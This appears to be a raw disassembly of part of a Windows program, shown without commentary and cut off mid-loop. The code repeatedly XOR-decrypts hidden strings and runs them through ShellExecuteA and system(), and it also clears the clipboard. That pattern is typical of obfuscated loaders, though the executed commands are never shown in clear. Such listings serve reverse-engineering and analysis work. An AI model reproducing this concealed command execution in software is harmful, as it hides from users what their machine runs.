cmp byte [rax + 0x1d], 0
je 0x14006fb01
mov r8d, edi
cmp esi, 2
jl 0x14006faca
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006f9c1
cmp r8d, 0x1e
jge 0x14006fb01
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14006fad0
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x17]
call fcn.1400883d0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006fb2e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, rbx
mov qword [rsp + 0x20], rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1400aeff4], 1
jne 0x14006fb75
cmp byte [0x1400aef77], 1
jne 0x14006fb75
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006fb75
lea rcx, [0x1400a0258]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140073bb2
lea rdx, [rbp + 0x9c0]
mov byte [rbp - 0x16], 0
lea rcx, [rbp - 0x16]
call fcn.140088450
mov rbx, rax
cmp byte [rax + 0xe], 0
je 0x14006fcf2
mov r8d, edi
cmp esi, 2
jl 0x14006fcbb
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006fcc1
movss xmm1, dword [0x1400a2070]
lea rcx, [rbp + 0x4d8]
movaps xmm2, xmm11
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x140073b92
lea rdx, [rbp + 0x2fc0]
mov byte [rbp - 0x15], 0
lea rcx, [rbp - 0x15]
call fcn.14005df10
mov r10, rax
cmp byte [rax + 0x5e], 0
je 0x14006fed1
mov r8d, edi
cmp esi, 2
jl 0x14006fe99
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x58
jl 0x14006fd90
cmp r8d, 0x5f
jge 0x14006fed1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x5f
jl 0x14006fea0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2f20]
mov byte [rbp - 0x14], 0
lea rcx, [rbp - 0x14]
call fcn.14005df80
mov r10, rax
cmp byte [rax + 0x48], 0
je 0x140070091
mov r8d, edi
cmp esi, 2
jl 0x140070059
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x14006ff50
cmp r8d, 0x49
jge 0x140070091
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x49
jl 0x140070060
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400700b2
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 0x1f60]
mov byte [rbp - 0x13], 0
lea rcx, [rbp - 0x13]
call fcn.14005de80
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140070273
mov r8d, edi
cmp esi, 2
jl 0x140070233
movdqa xmm0, xmmword [str.1111111111111111]
mov ebx, 4
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
mov edx, edi
movdqa xmm7, xmmword [0x1400a2260]
mov rcx, r10
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, ebx
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x140070130
jmp 0x140070278
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140070240
mov ebx, 4
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2c00]
mov byte [rbp - 0x12], 0
lea rcx, [rbp - 0x12]
call fcn.14005dea0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140070431
mov r8d, edi
cmp esi, 2
jl 0x1400703f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x1400702f0
cmp r8d, 0x33
jge 0x140070431
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140070400
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1a60]
mov byte [rbp - 0x11], 0
lea rcx, [rbp - 0x11]
call fcn.14005dee0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x1400705f1
mov r8d, edi
cmp esi, 2
jl 0x1400705b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400704b0
cmp r8d, 0x1c
jge 0x1400705f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x1400705c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2770]
mov byte [rbp - 0x10], 0
lea rcx, [rbp - 0x10]
call fcn.14005dfd0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x1400707b1
mov r8d, edi
cmp esi, 2
jl 0x140070779
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140070670
cmp r8d, 0x29
jge 0x1400707b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140070780
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2890]
mov byte [rbp - 0xf], 0
lea rcx, [rbp - 0xf]
call fcn.14005e000
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140070971
mov r8d, edi
cmp esi, 2
jl 0x140070939
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140070830
cmp r8d, 0x2d
jge 0x140070971
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140070940
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2df8]
mov byte [rbp - 0xe], 0
lea rcx, [rbp - 0xe]
call fcn.14005e040
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140070b31
mov r8d, edi
cmp esi, 2
jl 0x140070af9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x1400709f0
cmp r8d, 0x35
jge 0x140070b31
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x140070b00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2a70]
mov byte [rbp - 0xd], 0
lea rcx, [rbp - 0xd]
call fcn.14005e080
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140070cf1
mov r8d, edi
cmp esi, 2
jl 0x140070cb9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
